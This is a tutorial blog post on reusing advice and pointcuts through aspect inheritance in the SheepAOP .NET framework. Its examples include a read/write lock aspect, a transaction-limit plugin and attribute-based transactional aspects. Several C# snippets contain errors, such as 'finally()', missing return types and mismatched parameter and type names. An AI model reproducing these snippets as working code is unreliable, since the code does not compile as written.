  1. Getting Started with SheepAOP
  2. Pointcuts and SAQL Basics
  3. Aspects Lifecycles & Instantiations
  4. Integrating with IoC containers
  5. Aspects Inheritance & Polymorphism
  6. Attributive Aspects (ala PostSharp)
  7. Unit-testing your aspects
  8. Extending SheepAop

Reusing Advices

Think back to the concurrency example from our previous post. We used the ReadWriteLockAspect to define the reading and writing operations within our ShoppingCart, and apply a read/write locking pattern onto it. Surely we can apply this same pattern to other classes where a safe concurrent access is required. We can refactor this well-tested concurrency pattern into an abstract aspect that we can reuse instead of reimplementing it when we need it again.

This gives us a perfect situation to demonstrate SheepAop’s modularity and reuse, as we refactor our ReadWriteLockAspect example into the following.

[AspectPerThis("ReadingsPointcut", "WritingsPointcut")]
public abstract class ReadWriteLockAspect
{
   protected abstract void ReadingsPointcut(); // Abstract pointcut
   protected abstract void WritingsPointcut(); // Abstract pointcut

   protected abstract int GetTimeout(); // Abstract method

   private ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();

   [Around("ReadingsPointcut")]
   public object LockRead(JoinPoint jp)
   {
      try
      {
         _lock.EnterReadLock(GetTimeout());
         return jp.Execute();
      }
      finally()
      {
         _lock.ExitReadLock();
      }
   }

   [Around("WritingsPointcut")]
   public void LockWrite(JoinPoint jp)
   {
      try
      {
         _lock.EnterWriteLock(GetTimeout());
         jp.Execute();
      }
      finally()
      {
         _lock.ExitWriteLock();
      }
   }
}

Now to apply a write/lock behavior to our ShoppingCart class, we simply extend the aspect. We just need to provide the implementation of the pointcuts. The behavior of the advice will be inheritted from the base aspect.

public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectMethod("'* ShoppingCart::Get*(*)'")]
   [SelectPropertyGet("'* ShoppingCart::*'")]
   protected override void ReadingsPointcut(){}

   [SelectMethod("InType:'ShoppingCart' && Name:'AddProduct'|'RemoveProduct'")]
   protected override void WritingsPointcut(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}

Now we have used the base ReadWriteLockAspect to transform the ShoppingCart class to be thread-safe. We can reuse this same base aspect to any other target class that you intend to make thread-safe.

Tips on Pointcut Compositions: make sure you take advantage of the composability of SheepAop pointcuts when designing a reusable aspect. You can devide your pointcut into fragments to extract any reusable pattern out, and only expose a small fraction of it as abstract. As an example, our ReadWriteLockAspect can be modified to automatically apply the locks on all read/write methods and properties on the particular type that you target.

[AspectPerThis("ReadingsPointcut", "WritingsPointcut")]
public abstract class ReadWriteLockAspect
{
   [SelectMethod("'InType:@TargetClass && Name:'Get*'|'Is*' && !ReturnsVoid")]
   [SelectPropertyGet("InType:@TargetClass")]
   protected void ReadingsPointcut(){}

   [SelectMethod("InType:@TargetClass && Name:'Add*'|'Remove*'|'Set*'")]
   [SelectPropertySet("InType:@TargetClass")]
   protected void WritingsPointcut(){}

   //This is a small fragment of the pointcut that we expose as abstract
   protected abstract @TargetClass();

   /* and all the rest of it unchanged.. */
}

Now our base aspect provides a reusable template for our pointcuts, where a small fragment @TargetClass is left out as abstract to be composed to form the complete pointcut. The concrete aspect only needs to provide the implementation of this small fragment, rather than the whole pointcut expressions.

public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectTypes("'ShoppingCart'")]
   protected override void TargetClass(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}

Other example

The ActorAspect example can also be refactored into an abstract class to reuse its advice behavior, but I will leave that as an exercise for the reader.

Reusing Pointcuts

In the previous example, we have used aspect inheritance to reuse a common advice behavior (read/write locking behavior) repeatedly for multiple pointcuts. Aspect inheritance can also be used to reuse common pointcut expressions repeatedly in multiple advice implementations. A common example of this is aspects for defining extensibility points in a plugin architecture.

For instance, consider you want to define an extensibility point that is triggered at the point of every bank-account transaction. So we define the following abstract aspect.

[Aspect]
public abstract class AccountTransactionPlugin
{
   [SelectMethod(@"InType:AssignableTo:'AccountBase'
            && Name: 'Withdraw'|'Deposit'
            && ArgTypes:'Money'")]
   protected void TransactionPointcut(){}

   [Around("TransactionPointcut")]
   public void AroundTransaction(MethodJointPoint jp)
   {
      OnTransacting((Account)jp.This, (Money)jp.Args[0], ()=> jp.Execute());
   }

   protected abstract OnTransacting(Account account, Money amount, Action proceed);
}

Now that we have this extensibility point defined, a third party can provide their plugins by implementing this base-class. For example, the following plugin will add a business policy to limit transaction amounts within our banking system.


public class TransactionLimitPlugin: AccountTransactionPlugin
{
   private const int CompanyLimit = 100000;
   private const int PersonalLimit = 2000;

   protected override OnTransacting(Account account, Money amount, Account proceed)
   {
      var limit = account.Customer.IsCompany? CompanyLimit: PersonalLimit;
      if(amount > limit)
         throw new TransactionOverlimitException(amount, limit);
      proceed();
   }
}

More plugins for this specific extensibility point can be added to the system by writing more implementations of AccountTransactionPlugin (e.g. a plugin to apply transaction-fees depending on the types of the account). Typically we would have a set these abstract aspects with different pointcut-expressions, each represents different extensibility point within the system (e.g. when an order is created, when a case is raised, when a conversation occurs, etc), onto which a specific plugin can be hooked and unhooked. You can jazz up this technique by adding MEF to the mix.

Note that the domain code of our application might not be designed with plugin architecture in mind. It probably does not even aware of any extensibility system that is in place. This brings us to our next point…

Speaking of Extensibility..

Extensibility has always been a chicken-and-egg problem. Many business applications require the extensibility to accomodate rapidly changing business rules, policies, and workflows, sometimes allowing extensibility by third-party developers. To achieve this, architects are often faced with underdesign/overdesign issue. If you underdesign, you may have to make massive changes later in the development cycle. If you overdesign with excessive amount of extensibility point on every method of your application, the implementation may be burdened with code of questionable usefulness.

With AOP, you can delay making design decisions for future requirements because you can implement those extensibility points unobtrusively using aspects. You can focus on the current requirement of the system.
In this respect, AOP works in harmony with YAGNI (You aren’t gonna need it). Implementing a feature just because you may need it in the future often results in wasted effort because you won’t actually need it. With AOP, you can stick faithfully to your current requirement, and if you do need a particular kind of functionality later, you can implement it without having to make system-wide modifications

Attribute-based Aspects (ala Postsharp)

(Since this question gets asked quite a lot, I will post this section again in a separate post as a handy reference)

SheepAop is not specifically built to support attribute-based declarative approach used in Postsharp. But using the rich pointcut expressions and aspect inheritance in SheepAop, it’s quite trivial to implement our own implementation. We just simply need to write this simple abstract aspect to deliver the same attribute-based functionality.

[Aspect]
[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property)]
public abstract class AroundMemberAttribute: Attribute
{
   [SelectMethods("HasCustomAttributeType:ThisAspect")]
   [SelectPropertyGets("HasCustomAttributeType:ThisAspect")]
   [SelectPropertySets("HasCustomAttributeType:ThisAspect")]
   protected void DecoratedPointcut(){}

   [Around("DecoratedPointcut")]
   public abstract object Around(JointPoint jp);
}

This aspect simply defines a pointcut that matches all methods and properties that are decorated using the concrete type of this aspect. So now we can use this base attribute to create our TransactionalAttribute as an example.

[Aspect]
public class TransactionalAttribute: AroundMemberAttribute
{
   public override object Around(JointPoint jp)
   {
      using(var tx = new TransactionScope())
      {
         var result = jp.Execute();
         tx.Complete();
         return result;
      }
   }
}

That is all it. Now you can use this attribute to decorate methods and properties that you want to make transactional. For instance:

[Aspect]
public class OrderService: IOrderService
{
   [Transactional]
   public void ProvisionOrder(Order order)
   {
      // .... whatever ...
   }
}

For your convenience, the base-aspect AroundMemberAttribute is included straight out-of-the-box within SheepAop, so you don’t have to write it every time. Another variation of the base attribute is called AroundCallAttribute. They both have equivalent functionality, but whereas AroundMemberAttributes targets the bodies of methods and properties decorated with the attribute, AroundCallAttribute targets the calling of methods, getting/setting properties, and reading/writing fields decorated with the attribute.

Summary

Inheritance is a key component in making reusable aspects in SheepAop. Since SheepAop aspects are just normal POCO classes, you can make use of the same Object-Oriented techniques such as inheritance and polymorphism that we’re all familiar with. The same techniques are also used to implement the declarative attribute-based aspects that gives a lot of convenience for many simple cases.